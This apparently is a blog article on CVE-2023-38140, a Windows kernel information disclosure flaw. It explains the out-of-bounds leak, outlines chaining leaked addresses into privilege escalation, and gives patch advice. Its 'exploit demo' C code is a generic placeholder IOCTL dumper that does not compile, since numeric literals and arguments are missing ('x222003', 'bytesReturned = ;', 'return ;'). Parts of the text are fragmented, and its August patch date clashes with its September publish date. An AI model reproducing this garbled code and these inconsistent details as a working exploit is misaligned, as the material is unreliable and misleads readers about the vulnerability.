CVE-2023-38140 - Inside the Windows Kernel Information Disclosure Vulnerability (with Exploit Demo)

In this article, we’ll dive deep into CVE-2023-38140, a critical vulnerability affecting the Windows Kernel. Discovered and patched in mid-2023, this bug allows attackers to leak sensitive kernel memory to user-mode, risking local escalation of privileges and making post-exploitation easier for attackers. By the end, you’ll find a code example plus reliable reference links.

What is CVE-2023-38140?

CVE-2023-38140 is officially described in the Microsoft Security Guide as a _Windows Kernel Information Disclosure Vulnerability_. Unlike Remote Code Execution bugs, information disclosure issues allow attackers—already running code on a box—to read sensitive memory contents normally hidden from their processes. In practice, attackers can use such flaws to defeat security features (like ASLR – Address Space Layout Randomization) or collect credential-related data stored inside the kernel.

Windows Server 2016, 2019, 2022

Microsoft rated this as “Important.” It's not the easiest bug to trigger, but it absolutely deserves notice.

How Does The Vulnerability Work?

At its core, this vulnerability is a “read out-of-bounds” issue inside the kernel. A poorly handled buffer or data structure during certain system calls lets attacker-controlled data leak back up from kernel-mode, instead of being properly sanitized.

Here’s a simplified explanation

1. An attacker-controlled application sends a specially crafted request via a system call (for example, using a device IOCTL).
2. Due to improper bounds checking, the kernel copies (or returns) extra memory from kernel space back to the user-mode process.
3. The process can then inspect these bytes. Sometimes kernel data leaks include pointers, token values, driver structures, or even passwords.

Real World Exploitation

Information disclosure is rarely a standalone attack, but attackers chain such bugs for more serious attacks (like privilege escalation).

A possible exploit flow

- Find the vulnerable API. Security researchers (and attackers) analyzed logs and the MSRC patch to identify kernel functions involved.

Parse the leaked data for pointers (addresses), kernel object headers, or other secrets.

- Use leaked addresses to bypass mitigations like ASLR—then combine with a write-primitive exploit for SYSTEM access.

Exploit Code Snippet

Below you'll see simplified C code for dumping leaked kernel memory using a vulnerable IOCTL. This is for educational/research purposes only—never attack any system illegally.

// CVE-2023-38140 Windows Kernel Info Leak Demo (simplified)
// Compile with: cl leakdemo.c

#include <windows.h>
#include <stdio.h>

#define DEVICE_NAME     "\\\\.\\VulnDevice"  // Example only
#define VULN_IOCTL      x222003            // Hypothetical IOCTL code

int main() {
    HANDLE hDevice = CreateFileA(DEVICE_NAME,
                                 GENERIC_READ | GENERIC_WRITE,
                                 , NULL,
                                 OPEN_EXISTING, , NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Could not open device: %lu\n", GetLastError());
        return 1;
    }

    char inputBuf[8] = {};                 // Crafted input
    char outputBuf[1024] = {};             // Large enough for leak
    DWORD bytesReturned = ;

    // Send crafted request to trigger the kernel info leak
    BOOL success = DeviceIoControl(hDevice,
                                  VULN_IOCTL,
                                  inputBuf, sizeof(inputBuf),
                                  outputBuf, sizeof(outputBuf),
                                  &bytesReturned,
                                  NULL);

    if (!success) {
        printf("DeviceIoControl failed: %lu\n", GetLastError());
    } else {
        printf("Leaked %lu bytes from kernel memory:\n", bytesReturned);
        for (DWORD i = ; i < bytesReturned; i++) {
            printf("%02X ", (unsigned char)outputBuf[i]);
        }
        printf("\n");
    }

    CloseHandle(hDevice);
    return ;
}

Note:
- Replace DEVICE_NAME and VULN_IOCTL with actual values from reverse engineering the patch or the Windows device for your research.

Mitigation and Patch

Microsoft shipped a fix in August 2023 Patch Tuesday. After patching, the kernel component zeroes out or properly checks all buffers before returning data to user-mode.

Apply all Windows updates released after August 2023.

- Enforce user/group policies restricting untrusted users from running code on sensitive systems.

References

- Microsoft security advisory CVE-2023-38140
- NVD CVE Details
- Kaspersky Threat Post (Vulnerability) *(search by CVE number)*
- Kernel Exploitation Techniques (Project Zero blog)

Final Thoughts

CVE-2023-38140 is a great example of why information disclosure bugs are prized by attackers: they unravel layers of security by leaking just a little bit of data. For defenders and sysadmins, timely patch management and restricting untrusted code execution is essential.

Stay safe, patch early—and as always, research responsibly.

Timeline

Published on: 09/12/2023 17:15:00 UTC
Last modified on: 09/12/2023 19:38:00 UTC